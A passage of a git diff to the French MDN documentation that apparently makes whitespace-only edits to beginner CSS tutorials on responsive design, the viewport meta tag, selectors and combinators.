navigation pouvait être affichée. Il est important de comprendre que **le responsive web design n'est pas une technologie à part** - c'est un terme utilisé pour décrire une approche de la conception web, ou un ensemble de bonnes pratiques, utilisées pour créer une mise en page qui peut correspondre à l'appareil utilisé pour visualiser le contenu. Dans la recherche initiale de Marcotte, cela impliquait des grilles flexibles (en utilisant des flotteurs) et des média queries, mais depuis la rédaction de cet article, il y a presque 10 ans, le concept de responsive design est devenu la norme. Les méthodes modernes de mise en page CSS sont par nature responsives, et nous avons intégré de nouvelles choses à la plateforme Web pour faciliter la conception de sites responsives. @@ -159,7 +159,7 @@ Si vous spécifiez plutôt une largeur de colonne, vous spécifiez une largeur m ### Flexbox -Dans Flexbox, les articles flexibles se rétréciront et répartiront l'espace entre les articles en fonction de l'espace dans leur conteneur, en fonction de leur comportement initial. En modifiant les valeurs de `flex-grow` et `flex-shrink` vous pouvez indiquer comment vous souhaitez que les articles se comportent lorsqu'ils rencontrent plus ou moins d'espace autour d'eux. +Dans Flexbox, les articles flexibles se rétréciront et répartiront l'espace entre les articles en fonction de l'espace dans leur conteneur, en fonction de leur comportement initial. En modifiant les valeurs de `flex-grow` et `flex-shrink` vous pouvez indiquer comment vous souhaitez que les articles se comportent lorsqu'ils rencontrent plus ou moins d'espace autour d'eux. Dans l'exemple ci-dessous, les éléments flex prendront chacun autant d'espace dans le conteneur flex, en utilisant la notation `flex: 1` comme décrit dans la rubrique de mise en page [Flexbox: Taille modulable des éléments flex](/fr/docs/Apprendre/CSS/CSS_layout/Flexbox#Taille_modulable_des_éléments_flex). @@ -200,7 +200,7 @@ img { Cette approche présente des inconvénients évidents. L'image peut être affichée à une taille beaucoup plus petite que sa taille réelle, ce qui est un gaspillage de bande passante - un utilisateur mobile peut télécharger une image dont la taille est beaucoup plus grande que ce qu'il voit réellement dans la fenêtre du navigateur. De plus, il se peut que vous ne vouliez pas le même rapport hauteur/largeur de l'image sur le mobile que sur le bureau. Par exemple, il peut être agréable d'avoir une image carrée pour le mobile, mais de montrer la même image en format paysage sur le bureau. Ou, en tenant compte de la taille plus petite d'une image sur le mobile, vous pouvez vouloir montrer une image différente, qui est plus facile à comprendre sur un écran de petite taille. Ces choses ne peuvent pas être réalisées par une simple réduction de la taille d'une image. -Les images responsives, en utilisant l'élément {{htmlelement("picture")}} et les attributs {{htmlelement("img")}} `srcset` et `sizes` permettent de résoudre ces deux problèmes. Vous pouvez fournir plusieurs tailles ainsi que des " indices " (méta-données qui décrivent la taille de l'écran et la résolution pour lesquelles l'image est la mieux adaptée), et le navigateur choisira l'image la plus appropriée pour chaque dispositif, en s'assurant qu'un utilisateur téléchargera une taille d'image appropriée pour le dispositif qu'il utilise. +Les images responsives, en utilisant l'élément {{htmlelement("picture")}} et les attributs {{htmlelement("img")}} `srcset` et `sizes` permettent de résoudre ces deux problèmes. Vous pouvez fournir plusieurs tailles ainsi que des " indices " (méta-données qui décrivent la taille de l'écran et la résolution pour lesquelles l'image est la mieux adaptée), et le navigateur choisira l'image la plus appropriée pour chaque dispositif, en s'assurant qu'un utilisateur téléchargera une taille d'image appropriée pour le dispositif qu'il utilise. Vous pouvez également créer des images directes utilisées à différentes tailles, ce qui permet d'obtenir un recadrage différent ou une image complètement différente pour différentes tailles d'écran. @@ -268,7 +268,7 @@ Cela signifie que nous n'avons besoin de spécifier la taille de la police pour ## Le méta-tag du viewport -Si vous regardez le code source d'une page HTML responsive, vous verrez généralement la balise suivante {{htmlelement("meta")}} dans la section `<head>` du document. +Si vous regardez le code source d'une page HTML responsive, vous verrez généralement la balise suivante {{htmlelement("meta")}} dans la section `<head>` du document. ```html <meta name="viewport" content="width=device-width,initial-scale=1"> @@ -278,9 +278,9 @@ Cette balise meta dit aux navigateurs mobiles qu'ils doivent ajuster la largeur Pourquoi est-ce nécessaire? Parce que les navigateurs mobiles ont tendance à mentir à propos de leur taille de fenêtre. -Cette balise meta existe car lorsque l'Iphone original fut lancé et que les gens commencèrent à regarder des sites web sur un petit écran de téléphone, la plupart des sites n'étaient pas optimisés pour les mobiles. Le navigateur mobile définissait donc la largeur de la fenêtre d'affichage à 960 pixels, affichait la page à cette largeur et affichait le résultat sous la forme d'une version zoomée de la disposition du bureau. Les autres navigateurs mobiles (comme sur Google Android) faisaient la même chose. Les utilisateurs pouvaient zoomer et parcourir le site Web pour voir les éléments qui les intéressaient, mais l'affichage était mauvais. Vous le verrez toujours aujourd'hui si vous avez le malheur de tomber sur un site qui n'est pas responsive. +Cette balise meta existe car lorsque l'Iphone original fut lancé et que les gens commencèrent à regarder des sites web sur un petit écran de téléphone, la plupart des sites n'étaient pas optimisés pour les mobiles. Le navigateur mobile définissait donc la largeur de la fenêtre d'affichage à 960 pixels, affichait la page à cette largeur et affichait le résultat sous la forme d'une version zoomée de la disposition du bureau. Les autres navigateurs mobiles (comme sur Google Android) faisaient la même chose. Les utilisateurs pouvaient zoomer et parcourir le site Web pour voir les éléments qui les intéressaient, mais l'affichage était mauvais. Vous le verrez toujours aujourd'hui si vous avez le malheur de tomber sur un site qui n'est pas responsive. -Le problème est que votre responsive design avec des points de coupure et des media queries ne fonctionnera pas comme prévu sur les navigateurs mobiles. Si vous avez une disposition pour écran étroit qui démarre à une largeur de fenêtre de 480 pixels ou moins, et que la fenêtre est définie à 960 pixels, vous ne verrez jamais votre disposition pour écran étroit sur mobile. En définissant `width = device-width`, vous remplacez la largeur par défaut d'Apple de `width = 960px` par la largeur réelle de l'appareil, afin que vos requêtes multimédias fonctionnent comme prévu. +Le problème est que votre responsive design avec des points de coupure et des media queries ne fonctionnera pas comme prévu sur les navigateurs mobiles. Si vous avez une disposition pour écran étroit qui démarre à une largeur de fenêtre de 480 pixels ou moins, et que la fenêtre est définie à 960 pixels, vous ne verrez jamais votre disposition pour écran étroit sur mobile. En définissant `width = device-width`, vous remplacez la largeur par défaut d'Apple de `width = 960px` par la largeur réelle de l'appareil, afin que vos requêtes multimédias fonctionnent comme prévu. **Vous devriez donc toujours inclure la ligne HTML ci-dessus dans la tête de vos documents.** @@ -289,8 +289,8 @@ Il existe d'autres paramètres que vous pouvez utiliser avec la balise meta view - `initial-scale`: Définit le zoom initial de la page, que nous définissons à 1. - `height`: Definit une hauteur spécifique pour la fenêtre. - `minimum-scale`: Définit le niveau minimal de zoom -- `maximum-scale`: Définit le niveau maximal de zoom. -- `user-scalable`: Empêche le zoom si défini à `no`. +- `maximum-scale`: Définit le niveau maximal de zoom. +- `user-scalable`: Empêche le zoom si défini à `no`. Vous devriez éviter d'utiliser `minimum-scale`, `maximum-scale`, et en particulier la définition de `user-scalable` sur `no`. Les utilisateurs devraient être autorisés à zoomer autant ou aussi peu que nécessaire; éviter cela entraîne des problèmes d'accessibilité. diff --git a/files/fr/learn/css/css_layout/supporting_older_browsers/index.md b/files/fr/learn/css/css_layout/supporting_older_browsers/index.md index 437dd32c90..e2780f047b 100644 --- a/files/fr/learn/css/css_layout/supporting_older_browsers/index.md +++ b/files/fr/learn/css/css_layout/supporting_older_browsers/index.md @@ -26,7 +26,7 @@ Dans ce module, nous vous recommandons d'utiliser Flexbox et les grilles CSS com <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Les bases du HTML (étudiez <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" diff --git a/files/fr/learn/css/first_steps/getting_started/index.md b/files/fr/learn/css/first_steps/getting_started/index.md index 4f3aa54fb1..67936e12ed 100644 --- a/files/fr/learn/css/first_steps/getting_started/index.md +++ b/files/fr/learn/css/first_steps/getting_started/index.md @@ -20,13 +20,13 @@ Dans cet article nous vous montrons comment appliquer un style CSS à un documen <tr> <th scope="row">Prérequis :</th> <td> - Connaissances élémentaires en informatique, <a + Connaissances élémentaires en informatique, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" >suite logicielle de base installée</a - >, compréhension élémentaire du <a + >, compréhension élémentaire du <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" - > travail avec des fichiers</a - >, des bases en HTML (cf. <a + > travail avec des fichiers</a + >, des bases en HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" >Introduction à HTML</a >.) @@ -42,9 +42,9 @@ Dans cet article nous vous montrons comment appliquer un style CSS à un documen </tbody> </table> -## D'abord un peu de HTML +## D'abord un peu de HTML -Notre point de départ est un document HTML. Pour suivre la leçon en travaillant sur votre ordinateur, vous pouvez copier le code ci-dessous. Collez le dans un fichier en utilisant un éditeur de code, puis sauvegardez le sous le nom `index.html`. +Notre point de départ est un document HTML. Pour suivre la leçon en travaillant sur votre ordinateur, vous pouvez copier le code ci-dessous. Collez le dans un fichier en utilisant un éditeur de code, puis sauvegardez le sous le nom `index.html`. ```html <!doctype html> @@ -74,21 +74,21 @@ Notre point de départ est un document HTML. Pour suivre la leçon en travaillan </html> ``` -> **Note :** Si vous lisez cet article sur un appareil ou dans un environnement où il n'est pas aisé de créer des fichiers, pas de soucis — des éditeurs de code live sont proposés ci-dessous ; vous pourrez ainsi tester les exemples de code directement dans cette page. +> **Note :** Si vous lisez cet article sur un appareil ou dans un environnement où il n'est pas aisé de créer des fichiers, pas de soucis — des éditeurs de code live sont proposés ci-dessous ; vous pourrez ainsi tester les exemples de code directement dans cette page. -## Ajouter CSS à notre document +## Ajouter CSS à notre document -Pour commencer, on doit signaler au document HTML que nous souhaitons utiliser des règles CSS. Vous rencontrerez trois possibilités pour appliquer CSS à un document HTML. Nous nous contenterons de présenter la méthode la plus utilisée — créer un lien vers la feuille de style CSS depuis l'en-tête du document HTML. +Pour commencer, on doit signaler au document HTML que nous souhaitons utiliser des règles CSS. Vous rencontrerez trois possibilités pour appliquer CSS à un document HTML. Nous nous contenterons de présenter la méthode la plus utilisée — créer un lien vers la feuille de style CSS depuis l'en-tête du document HTML. -Avec votre éditeur de code, dans le dossier où se trouve le document HTML, créez un fichier et sauvegardez le sous le nom `styles.css`. L'extension `.css` indique que c'est un fichier CSS. +Avec votre éditeur de code, dans le dossier où se trouve le document HTML, créez un fichier et sauvegardez le sous le nom `styles.css`. L'extension `.css` indique que c'est un fichier CSS. -Pour lier `styles.css` à `index.html` ajoutez la ligne suivante dans la section {{htmlelement("head")}} du document HTML : +Pour lier `styles.css` à `index.html` ajoutez la ligne suivante dans la section {{htmlelement("head")}} du document HTML : ```html <link rel="stylesheet" href="styles.css"> ``` -Cet élément {{htmlelement("link")}} indique au navigateur la présence d'une feuille de style, grâce à l'attribut `rel` ; la valeur de l'attribut `href` donne la localisation du fichier CSS. Pour tester que le lien fonctionne, nous allons définir une règle dans `styles.css`. Grâce à votre éditeur de code, ajoutez les lignes suivantes à la feuille de style CSS : +Cet élément {{htmlelement("link")}} indique au navigateur la présence d'une feuille de style, grâce à l'attribut `rel` ; la valeur de l'attribut `href` donne la localisation du fichier CSS. Pour tester que le lien fonctionne, nous allons définir une règle dans `styles.css`. Grâce à votre éditeur de code, ajoutez les lignes suivantes à la feuille de style CSS : ```css h1 { @@ -96,15 +96,15 @@ h1 { } ``` -Dans votre éditeur de code, sauvegardez vos documents HTML et CSS puis rechargez la page HTML dans votre navigateur. Le titre de niveau un en haut du document devrait maintenant apparaître en rouge. Si c'est le cas, félicitations — vous avez appliqué avec succès une règle CSS à votre document HTML. Si ce n'est pas le cas, vérifiez scrupuleusement que vous avez tout bien fait comme indiqué. +Dans votre éditeur de code, sauvegardez vos documents HTML et CSS puis rechargez la page HTML dans votre navigateur. Le titre de niveau un en haut du document devrait maintenant apparaître en rouge. Si c'est le cas, félicitations — vous avez appliqué avec succès une règle CSS à votre document HTML. Si ce n'est pas le cas, vérifiez scrupuleusement que vous avez tout bien fait comme indiqué. -Pour suivre le reste de ce tutoriel, vous pouvez continuer à éditer `styles.css` sur votre machine, ou utiliser l'éditeur interactif proposé ci-dessous. L'éditeur interactif se comporte comme si le CSS dans le premier cadre était lié au document HTML, exactement comme sur votre machine après les manipulations précédentes. +Pour suivre le reste de ce tutoriel, vous pouvez continuer à éditer `styles.css` sur votre machine, ou utiliser l'éditeur interactif proposé ci-dessous. L'éditeur interactif se comporte comme si le CSS dans le premier cadre était lié au document HTML, exactement comme sur votre machine après les manipulations précédentes. ## Mettre en forme des éléments HTML En passant la couleur de police des titres en rouge nous avons vu comment sélectionner et mettre en forme un élément HTML. -Cela est réalisé grâce à un sélecteur d'élément — dans la règle CSS, le sélecteur correspond au nom d'un élément HTML. Pour appliquer un style à tous les paragraphes du document HTML on utilisera le sélecteur `p`. Voilà la règle pour passer en vert tous les paragraphes : +Cela est réalisé grâce à un sélecteur d'élément — dans la règle CSS, le sélecteur correspond au nom d'un élément HTML. Pour appliquer un style à tous les paragraphes du document HTML on utilisera le sélecteur `p`. Voilà la règle pour passer en vert tous les paragraphes : ```css p { @@ -112,7 +112,7 @@ p { } ``` -On peut cibler plusieurs éléments d'un coup en les listant, séparés par une virgule. Si je veux que tous les paragraphes et tous les items de liste soient verts j'écrirai la règle suivante : +On peut cibler plusieurs éléments d'un coup en les listant, séparés par une virgule. Si je veux que tous les paragraphes et tous les items de liste soient verts j'écrirai la règle suivante : ```css p, li { @@ -124,11 +124,11 @@ Testez cela dans l'éditeur interacif ci-dessous (éditer les boîtes de code) o {{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} -## Changer le comportement par défaut des éléments +## Changer le comportement par défaut des éléments -Quand on observe un document HTML bien formé, même simple comme notre exemple, on peut voir comment un navigateur le rend lisible par une mise en forme par défaut. Les titres sont écrits en gras dans une taille plus grande, les items des listes sont précédés d'une puce. Les navigateurs ont leurs feuilles de style internes qu'ils appliquent par défaut à toutes les pages ; sans cela, tout le texte s'agglutinerait en paquet et il faudrait tout mettre en forme à partir de zéro. Tous les navigateurs modernes rendent les contenus HTML par défaut essentiellement de la même manière. +Quand on observe un document HTML bien formé, même simple comme notre exemple, on peut voir comment un navigateur le rend lisible par une mise en forme par défaut. Les titres sont écrits en gras dans une taille plus grande, les items des listes sont précédés d'une puce. Les navigateurs ont leurs feuilles de style internes qu'ils appliquent par défaut à toutes les pages ; sans cela, tout le texte s'agglutinerait en paquet et il faudrait tout mettre en forme à partir de zéro. Tous les navigateurs modernes rendent les contenus HTML par défaut essentiellement de la même manière. -On recherche pourtant souvent autre chose que ce rendu par défaut. Il suffit alors de sélectionner l'élément HTML dont on veut modifier le rendu et d'écrire la règle CSS pour réaliser cette mise en forme. Un bon exemple est notre `<ul>`, une liste non ordonnée. Ses items sont marqués par des puces et si on décide de se débarrasser de ces puces, on peut le faire comme suit : +On recherche pourtant souvent autre chose que ce rendu par défaut. Il suffit alors de sélectionner l'élément HTML dont on veut modifier le rendu et d'écrire la règle CSS pour réaliser cette mise en forme. Un bon exemple est notre `<ul>`, une liste non ordonnée. Ses items sont marqués par des puces et si on décide de se débarrasser de ces puces, on peut le faire comme suit : ```css li { @@ -138,15 +138,15 @@ li { Ajoutez cette règle dans votre CSS et testez en l'effet. -Cherchez maintenant sur MDN quelles sont les valeurs possibles pour la propriété `list-style-type`. Dans la page pour [`list-style-type`](/fr/docs/Web/CSS/list-style-type) vous trouverez un exemple interactif en haut de page, vous pourrez tester quelques valeurs ; toutes les valeurs autorisées sont détaillées dans le reste de la page. +Cherchez maintenant sur MDN quelles sont les valeurs possibles pour la propriété `list-style-type`. Dans la page pour [`list-style-type`](/fr/docs/Web/CSS/list-style-type) vous trouverez un exemple interactif en haut de page, vous pourrez tester quelques valeurs ; toutes les valeurs autorisées sont détaillées dans le reste de la page. -En parcourant la page de documentation, vous découvrirez qu'au lieu de supprimer les puces, vous pouvez en changer l'aspect — essayez la valeur `square` pour obtenir des puces carrées. +En parcourant la page de documentation, vous découvrirez qu'au lieu de supprimer les puces, vous pouvez en changer l'aspect — essayez la valeur `square` pour obtenir des puces carrées. ## Ajouter une classe -Jusqu'ici, nous avons mis en forme des éléments HTML repérés par leur nom de balise. Cela fonctionne tant que vous voulez appliquer le même style à tous les éléments de ce type dans le document. La plupart du temps ce n'est pas le comportement désiré ; il faut donc trouver une méthode pour sélectionner un sous-ensemble des éléments à mettre en forme sans changer l'apparence des autres éléments du même type. L'approche la plus commune pour obtenir ce comportement est d'ajouter une classe (pensez à une étiquette) aux éléments HTML à mettre en forme puis de sélectionner cette classe. +Jusqu'ici, nous avons mis en forme des éléments HTML repérés par leur nom de balise. Cela fonctionne tant que vous voulez appliquer le même style à tous les éléments de ce type dans le document. La plupart du temps ce n'est pas le comportement désiré ; il faut donc trouver une méthode pour sélectionner un sous-ensemble des éléments à mettre en forme sans changer l'apparence des autres éléments du même type. L'approche la plus commune pour obtenir ce comportement est d'ajouter une classe (pensez à une étiquette) aux éléments HTML à mettre en forme puis de sélectionner cette classe. -Dans le document HTML, ajouter un [attribut class](/fr/docs/Web/HTML/Attributs_universels/class) au deuxième item de la liste : +Dans le document HTML, ajouter un [attribut class](/fr/docs/Web/HTML/Attributs_universels/class) au deuxième item de la liste : ```html <ul> @@ -156,7 +156,7 @@ Dans le document HTML, ajouter un [attribut class](/fr/docs/Web/HTML/Attributs </ul> ``` -Dans votre CSS vous pouvez maintenant cibler la classe `special` grâce à un sélecteur fait du nom de la classe précédé d'un point. Ajoutez le code suivant à votre feuille de style : +Dans votre CSS vous pouvez maintenant cibler la classe `special` grâce à un sélecteur fait du nom de la classe précédé d'un point. Ajoutez le code suivant à votre feuille de style : ```css .special { @@ -167,9 +167,9 @@ Dans votre CSS vous pouvez maintenant cibler la classe `special` grâce à un Sauvegardez et rechargez la page HTML dans votre navigateur pour observer le résultat. -Vous pouvez attribuer la classe `special` à tout élément dans votre document HTML, dans le navigateur il sera rendu comme le deuxième item de la liste. Par exemple, vous pourriez appliquer ce style à l'élément `<span>` du premier paragraphe. +Vous pouvez attribuer la classe `special` à tout élément dans votre document HTML, dans le navigateur il sera rendu comme le deuxième item de la liste. Par exemple, vous pourriez appliquer ce style à l'élément `<span>` du premier paragraphe. -Vous verrez parfois des règles avec un sélecteur qui combine le nom de l'élément HTML avec celui de la classe : +Vous verrez parfois des règles avec un sélecteur qui combine le nom de l'élément HTML avec celui de la classe : ```css li.special { @@ -188,11 +188,11 @@ span.special { } ``` -Comme vous pouvez bien l'imaginer, certaines classes s'appliquent à un grand nombre d'éléments et il n'est pas pensable de devoir éditer la feuille de style à chaque modification du document HTML. Les sélecteurs composé du nom de l'élément suivi de celui de la classe sont donc plutôt réservés aux situations où la règle ne s'applique qu'à un élément unique. +Comme vous pouvez bien l'imaginer, certaines classes s'appliquent à un grand nombre d'éléments et il n'est pas pensable de devoir éditer la feuille de style à chaque modification du document HTML. Les sélecteurs composé du nom de l'élément suivi de celui de la classe sont donc plutôt réservés aux situations où la règle ne s'applique qu'à un élément unique. ## Style en fonction de la position -Il y a des situations où vous voudrez que le style d'un élément s'adapte en fonction de sa position dans le document. De nombreux sélecteurs permettent de réaliser ce type de comportement, voyons les plus simples. Dans notre document HTML il y a deux éléments `<em>` — l'un dans un paragraphe l'autre dans l'item d'une liste. On peut cibler le `<em>` imbriqué dans l'élément `<li>` avec un **combinateur descendant** qui prend la forme suivante **:** deux sélecteurs séparés par un espace. +Il y a des situations où vous voudrez que le style d'un élément s'adapte en fonction de sa position dans le document. De nombreux sélecteurs permettent de réaliser ce type de comportement, voyons les plus simples. Dans notre document HTML il y a deux éléments `<em>` — l'un dans un paragraphe l'autre dans l'item d'une liste. On peut cibler le `<em>` imbriqué dans l'élément `<li>` avec un **combinateur descendant** qui prend la forme suivante **:** deux sélecteurs séparés par un espace. Ajoutez la règle suivante à votre feuille de style : @@ -202,9 +202,9 @@ li em { } ``` -Ce sélecteur cible tout élément `<em>` à l'intérieur (descendant) d'un `<li>`. Ainsi, dans notre exemple, le `<em>` dans le troisième item de la liste sera maintenant pourpre, alors que celui du paragraphe est inchangé. +Ce sélecteur cible tout élément `<em>` à l'intérieur (descendant) d'un `<li>`. Ainsi, dans notre exemple, le `<em>` dans le troisième item de la liste sera maintenant pourpre, alors que celui du paragraphe est inchangé. -On pourrait maintenant essayer d'appliquer un style à un paragraphe quand il vient juste après un titre de niveau un dans le HTML. Pour obtenir cela, on place un `+` (le **combinateur de frères et sœurs adjacents**) entre les sélecteurs. +On pourrait maintenant essayer d'appliquer un style à un paragraphe quand il vient juste après un titre de niveau un dans le HTML. Pour obtenir cela, on place un `+` (le **combinateur de frères et sœurs adjacents**) entre les sélecteurs. Ajoutez cette règle à votre feuille de style : @@ -214,11 +214,11 @@ h1 + p { } ``` -L'exemple live ci-dessous inclut les deux règles précédentes. Essayez d'ajouter une règle qui passe \<span> en rouge s'il est dans un paragraphe. Votre règle est correcte, si après sauvegarde du CSS et rafraîchissement du HTML dans le navigateur, le \<span> du premier paragraphe est rouge mais celui du premier item de la liste est inchangé. +L'exemple live ci-dessous inclut les deux règles précédentes. Essayez d'ajouter une règle qui passe \<span> en rouge s'il est dans un paragraphe. Votre règle est correcte, si après sauvegarde du CSS et rafraîchissement du HTML dans le navigateur, le \<span> du premier paragraphe est rouge mais celui du premier item de la liste est inchangé. {{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}} -> **Note :** A ce point, on a déjà découvert plusieurs méthodes CSS pour cibler les éléments et pourtant on vient à peine de commencer ! Nous passerons en revue plus systématiquement tous ces sélecteurs dans la leçon [CSS Selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) du cours suivant. +> **Note :** A ce point, on a déjà découvert plusieurs méthodes CSS pour cibler les éléments et pourtant on vient à peine de commencer ! Nous passerons en revue plus systématiquement tous ces sélecteurs dans la leçon [CSS Selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) du cours suivant. ## Mise en forme basée sur l'état @@ -234,7 +234,7 @@ a:visited { } ``` -On peut changer l'aspect des liens survolés, par exemple en supprimant le soulignement, avec la règle suivante : +On peut changer l'aspect des liens survolés, par exemple en supprimant le soulignement, avec la règle suivante : ```css a:hover { @@ -246,17 +246,17 @@ Dans l'exemple live ci-dessous, vous pouvez explorer les valeurs des différents {{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} -Nous avons supprimé le soulignement quand le lien est survolé.Vous pourriez supprimer le soulignement quel que soit l'état du lien. Dans un vrai site, il est quand même important que le visiteur sache qu'un lien est un lien. Le soulignement donne un indice important aux visiteurs pour réaliser qu'un bout de texte dans un paragraphe est cliquable — c'est le comportement auquel ils sont habitués. Avec le contrôle que donne CSS, les changements de style peuvent parfois rendre le document moins accessible — à chaque fois que nécessaire nous nous efforcerons de signaler les pièges classiques dans cette direction. +Nous avons supprimé le soulignement quand le lien est survolé.Vous pourriez supprimer le soulignement quel que soit l'état du lien. Dans un vrai site, il est quand même important que le visiteur sache qu'un lien est un lien. Le soulignement donne un indice important aux visiteurs pour réaliser qu'un bout de texte dans un paragraphe est cliquable — c'est le comportement auquel ils sont habitués. Avec le contrôle que donne CSS, les changements de style peuvent parfois rendre le document moins accessible — à chaque fois que nécessaire nous nous efforcerons de signaler les pièges classiques dans cette direction. -> **Note :** dans ce cours et à travers le site MDN, vous rencontrerez souvent la notion d'[accessibilité](/fr/docs/Apprendre/a11y) : les règles pour que nos pages soient compréhensibles et utilisables par tous. +> **Note :** dans ce cours et à travers le site MDN, vous rencontrerez souvent la notion d'[accessibilité](/fr/docs/Apprendre/a11y) : les règles pour que nos pages soient compréhensibles et utilisables par tous. > -> Vos visiteurs peuvent consulter votre page depuis un ordinateur équipé d'une souris ou d'un trackpad, ou depuis un téléphone avec un écran tactile. Ils peuvent aussi utiliser un lecteur d'écran qui parcourt le contenu du document. Ils pourraient avoir besoin d'un affichage en grands caractères, ou parcourir votre site en ne naviguant qu'avec le clavier. +> Vos visiteurs peuvent consulter votre page depuis un ordinateur équipé d'une souris ou d'un trackpad, ou depuis un téléphone avec un écran tactile. Ils peuvent aussi utiliser un lecteur d'écran qui parcourt le contenu du document. Ils pourraient avoir besoin d'un affichage en grands caractères, ou parcourir votre site en ne naviguant qu'avec le clavier. > -> Un document HTML pur est généralement accessible à tous — il est important que les mises en forme appliquées ne le rendent pas moins accessible. +> Un document HTML pur est généralement accessible à tous — il est important que les mises en forme appliquées ne le rendent pas moins accessible. -## Associer sélecteurs et combinateurs +## Associer sélecteurs et combinateurs -On peut associer sélecteurs et combinateurs. Par exemple : +On peut associer sélecteurs et combinateurs. Par exemple : ```css /* sélectionne tout <span> à l'intérieur d'un <p>, lui-même à l'intérieur d'un <article> */ @@ -266,7 +266,7 @@ article p span { ... } h1 + ul + p { ... } ``` -On peut aussi combiner les types multiples. Essayez d'ajouter les règles suivantes à votre feuille de style : +On peut aussi combiner les types multiples. Essayez d'ajouter les règles suivantes à votre feuille de style : ```css body h1 + p .special { @@ -276,17 +276,17 @@ body h1 + p .special { } ``` -Cette règle cible tout élément dont l'attribut class vaut `special`, à l'intérieur d'un `<p>`, qui vient juste après un `<h1>`, à l'intérieur de `<body>`. Ouf ! +Cette règle cible tout élément dont l'attribut class vaut `special`, à l'intérieur d'un `<p>`, qui vient juste après un `<h1>`, à l'intérieur de `<body>`. Ouf ! -Dans notre document HTML le seul élément mis en forme selon la règle ci-dessus est `<span class="special">`. +Dans notre document HTML le seul élément mis en forme selon la règle ci-dessus est `<span class="special">`. -Pas de panique, cela peut sembler compliqué pour le moment — avec un peu de pratique du CSS, vous maîtriserez très bientôt tout cela. +Pas de panique, cela peut sembler compliqué pour le moment — avec un peu de pratique du CSS, vous maîtriserez très bientôt tout cela. ## Bilan -Dans ce tutoriel nous avons vu plusieurs façons de mettre en forme un document grâce aux règles CSS. En progressant dans les leçons de ce cours, nous développerons ces connaissances. +Dans ce tutoriel nous avons vu plusieurs façons de mettre en forme un document grâce aux règles CSS. En progressant dans les leçons de ce cours, nous développerons ces connaissances. -Vous en savez pourtant déjà assez pour : mettre en forme un texte ; utiliser différentes méthodes pour sélectionner les éléments HTML visés ; et recherchez les propriétés et les valeurs dans la documentation MDN. +Vous en savez pourtant déjà assez pour : mettre en forme un texte ; utiliser différentes méthodes pour sélectionner les éléments HTML visés ; et recherchez les propriétés et les valeurs dans la documentation MDN. Dans la leçon suivante, nous étudirons comment CSS est structuré. @@ -294,8 +294,8 @@ Dans la leçon suivante, nous étudirons comment CSS est structuré. ## Dans ce cours -1. [Qu'est ce que CSS?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) -2. [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) -3. [Comment CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) +1. [Qu'est ce que CSS?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) +2. [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) +3. [Comment CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) 4. [CSS comment ça marche ?](/fr/docs/Learn/CSS/First_steps/How_CSS_works) 5. [Utiliser vos connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) diff --git a/files/fr/learn/css/first_steps/how_css_is_structured/index.md b/files/fr/learn/css/first_steps/how_css_is_structured/index.md index 1914be5f1a..08df81c4d2 100644 --- a/files/fr/learn/css/first_steps/how_css_is_structured/index.md +++ b/files/fr/learn/css/first_steps/how_css_is_structured/index.md @@ -10,7 +10,7 @@ Vous avez maintenant une idée plus claire de CSS. Vous connaissez les bases de <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Maîtrise élémentaire de l'informatique, <a @@ -29,7 +29,7 @@ Vous avez maintenant une idée plus claire de CSS. Vous connaissez les bases de </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Approfondir les structures syntaxiques fondamentales de CSS</td> </tr> </tbody> diff --git a/files/fr/learn/css/first_steps/index.md b/files/fr/learn/css/first_steps/index.md index be0e15cdfc..a39b2f1be0 100644 --- a/files/fr/learn/css/first_steps/index.md +++ b/files/fr/learn/css/first_steps/index.md @@ -22,17 +22,17 @@ Nous avons mis au point un cours qui comprend toutes les informations essentiell Avant de commencer ce module, vous devriez avoir : 1. Une connaissance basique de l'utilisation d'un ordinateur, et l'utilisation passive du Web (i.e. consulter des sites, consommer le contenu s'y trouvant) ; -2. Un environnement de travail minimal installé, comme indiqué dans la section [installer les logiciels de base](/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) et une compréhension de la façon de créer et gérer des fichiers, comme indiqué dans la section [Gérer les fichiers](/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) ; +2. Un environnement de travail minimal installé, comme indiqué dans la section [installer les logiciels de base](/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) et une compréhension de la façon de créer et gérer des fichiers, comme indiqué dans la section [Gérer les fichiers](/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) ; 3. Une familiarité avec HTML, comme discuté dans le module d'[introduction à HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML). -> **Note :** Si vous travaillez sur un ordinateur / tablette / autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code sur des sites de programmation en ligne comme [JSBin](/fr/docs/) ou [Thimble](/fr/docs/). +> **Note :** Si vous travaillez sur un ordinateur / tablette / autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code sur des sites de programmation en ligne comme [JSBin](/fr/docs/) ou [Thimble](/fr/docs/). ## Guides -Ce module contient les articles suivants, qui vous présenteront les bases théoriques du CSS et vous fourniront des occasions de mettre en pratique vos nouvelles compétences : +Ce module contient les articles suivants, qui vous présenteront les bases théoriques du CSS et vous 